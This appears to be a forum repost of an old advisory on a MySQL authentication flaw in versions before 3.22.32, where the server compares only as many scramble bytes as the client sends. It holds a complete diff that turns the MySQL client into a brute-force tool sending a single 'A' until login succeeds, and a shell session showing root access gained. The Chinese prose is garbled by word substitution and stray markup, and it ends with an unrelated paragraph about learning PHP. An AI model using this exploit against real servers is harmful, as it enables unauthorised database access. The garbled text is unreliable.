|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
可以在书上很方便地做标记,及时记下自己的心得体会。mysql|会见 ◆ Mysql近程会见破绽
一. 概述
MySQL是一个经常使用的小型数据库体系,国际有良多站点正在利用它作为web数据库。
在MySQL的口令验证机制里存在平安破绽。它答应任何用户从有方针机械数据库会见权限
的机械上与该数据库停止毗连。进击者不用晓得帐号的口令,而只需晓得一个可用的帐号
名便可。
一切低于Mysql 3.22.32的版本能够都是有成绩的。
二. 细节
MySQL的口令认证的机制是如许的:当一个客户端发送一个毗连恳求的时分,办事端会首
先发生一个随机字符串(A),将这个字符串发送给客户端,客户端会用这个字符串和用户
输出的口令所发生的Hash值(B)生成一个新的字符串(C)。 并将这个新的字符串前往给服
务端。办事端将本来的随机字符串(A)与数据库中保留的口令Hash值(B')再生成一个字符
串(C'),对照这两个字符串(C和C')的内容是不是分歧,假如分歧就答应登录,不然就不答应
登录。
但是,当对照C和C'这两个字符串内容的时分,因为没有思索对照字符串的长度,招致了
成绩的发生。从sql/password.c中可以看到有成绩的代码局部:
my_bool check_scramble(const char *scrambled, const char *message,
ulong *hash_pass, my_bool old_ver)
{
......
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1; ?* Wrong password */
}
return 0;
}
......
这里的scrambled就是客户端供应的字符串C,(*to++ ^ extra))就是办事端生成的字符串
C'(中的一个字符).咱们可以看到,对照的次数决意于客户端供应的字符串C的长度。问
题就出在这里了,原本办事端应该起首判别这两个字符串长度是不是相等的,然而它没有,
所以假如客户端供应的字符串只要一个字符,那末check_scramble()将只对照C和C'的第
一个字节。
C'的内容是随机发生的,所以第一次登录和第二次登录时,C'的第一个字符凡是是分歧的。
例如:
@SQOGRFA 第一次
VV]KPIU_ 第二次
M[PPRYX^ 第三次
然而,依据剖析,C'的每个字符只能够有32种能够性,即:
ABCDEFGHIGKLMNOPQRSTUVWXYZ\_][]@^
那末实际上说,假如咱们每次毗连都发送统一个字符(好比'A')作为口令,那末32次毗连
中会有一次胜利。固然,这只是从几率上统计,实践上测验考试的次数会从1次到100屡次不等。
三. 测试法式
依据下面的剖析,咱们只需每次发送一个字符给办事端,假如前往毛病信息,咱们再次发
送这个字符,直到胜利为止。为了复杂起见,咱们可以修正mysql的client法式.
在client/libmysql.c中, mysql_real_connect()函数是用来与办事端创立毗连的。
......
MYSQL * STDCALL
mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
......
DBUG_PRINT("info",("user: %s",buff+5));
/* 这里的scramble()函数将发生校验用的口令字符串C,然后将C复制到strend(buff+5)+1
处,既然咱们只是要发送一个字符曩昔,咱们可以正文失落这两行,直接将一个字?br> 复制曩昔即?br> ?/
?br> ?br> end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9));
if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
{
......
} ?br> ?br> 修正后酿成: ?br> ?.....
MYSQL * STDCALL
mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
......
DBUG_PRINT("info",("user: %s",buff+5));
?br> /*
end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9));
?/
end = strend(buff+5) +1 ;
*end = 'A';
end ++;
*end = '\0'; ?br>
if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
{
......
}
然后咱们将这个mysql_real_connect()更名成mysql_real_connect_orig(),机关一个新的
mysql_real_connect(),它将轮回挪用本来的mysql_real_connect_orig(),当不休测验考试发送
字符'A'停止毗连,直到经由过程口令验证为止。
注重:上面供应的法式仅供在本机测试利用,请不要用于不法目标,效果自信!
libmysql.c.diff
8<-----8<-----8<-----8<---- cut here ---8<-----8<-----8<-----8<-----8<----
--- mysql-3.22.27/client/libmysql.c Wed Oct 6 00:37:25 1999
+++ mysql-3.22.27_new/client/libmysql.c Tue Feb 13 14:12:37 2000
@@ -46,6 +46,8 @@
uint mysql_port=0;
my_string mysql_unix_port=0;
+uint trynum=0;
+
#define CLIENT_CAPABILITIES (CLIENT_LONG_PASSWORD | CLIENT_LONG_FLAG | CLIENT_LOCAL_FILES)
#if defined(MSDOS) || defined(__WIN32__)
@@ -985,13 +987,13 @@
}
-/*
+/*
** Note that the mysql argument must be initialized with mysql_init()
** before calling mysql_real_connect !
*/
MYSQL * STDCALL
-mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
+mysql_real_connect_orig(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
@@ -1276,8 +1278,15 @@
else
read_user_name((char*) buff+5);
DBUG_PRINT("info",("user: %s",buff+5));
- end=scramble(strend(buff+5)+1, scramble_buff, passwd,
- ?my_bool) (mysql->protocol_version == 9));
+/* We skip the step that create valid passwd .:) ?- warning3 */
+ //end=scramble(strend(buff+5)+1, scramble_buff, passwd,
+ // ?my_bool) (mysql->protocol_version == 9));
+ trynum++;
+ printf("Trying %d times\n",trynum);
+ end = strend(buff+5) +1 ;
+ ?end = 'A'; /* We just send one character as password */
+ end ++;
+ ?end = '\0';
if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
{
end=strmov(end+1,db);
@@ -1286,7 +1295,7 @@
}
if (my_net_write(net,buff,(uint) (end-buff)) || net_flush(net) ||
net_safe_read(mysql) == packet_error)
- goto error;
+ return NULL; /* If login failed,we return NULL */
if (client_flag & CLIENT_COMPRESS) /* We will use compression */
net->compress=1;
if (db && mysql_select_db(mysql,db))
@@ -1317,6 +1326,23 @@
DBUG_RETURN(0);
}
+/*
+** We make one fake mysql_real_connect() function,it will "brute force"
+** to guess the right password until succeed ! ?- warning3
+*/
+
+MYSQL * STDCALL
+mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
+ const char *passwd, const char *db,
+ uint port, const char *unix_socket,uint client_flag)
+{
+ MYSQL *res;
+
+ while (!(res=mysql_real_connect_orig(mysql,host,user,passwd,db,port,unix_socket,client_flag)));
+ printf("\nooOH,We come in! ;-)\n\n");
+ return res;
+
+}
static my_bool mysql_reconnect(MYSQL *mysql)
{
>8----->8----->8----->8---- cut here --->8----->8----->8----->8----->8----
[warning3@warninng3 warning3]$ ls -ld libmysql.c.diff mysql-3.22.27
-rw-rw-r-- ? warning3 warning3 ?409 Feb 13 14:24 libmysql.c.diff
drwxrwxr-x 21 warning3 warning3 ?096 Oct 6 06:36 mysql-3.22.27/
[warning3@warninng3 warning3]$ patch -p0 patching file `mysql-3.22.27/client/libmysql.c'
[warning3@warninng3 warning3]$ cd mysql-3.22.27
[warning3@warninng3 mysql-3.22.27]$ ./configure;make;cd client;
[warning3@warninng3 client]$ ./mysql -uroot -pblahblah
Trying 1 times
Trying 2 times
Trying 3 times
Trying 4 times
Trying 5 times
Trying 6 times
ooOH,We come in! ;-)
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 539 to server version: 3.22.27
Type 'help' for help.
mysql>
四. 处理举措
1. 晋级到最新版:
2. 关于内部毗连做Ip限制 ?br>
感激:
Robert van der Meulen 他发明了这个破绽。:)
tb 他匡助我完成这个exploit
在我开始学习PHP以前,我从未想过要做软件工程,即便是在去听过华育国际的关于软件工程的美好前景后,因为我一直都没有想过要与代码打交道,而是想学好所学专业,做个网络工程师或者是网络安全人员。 |
|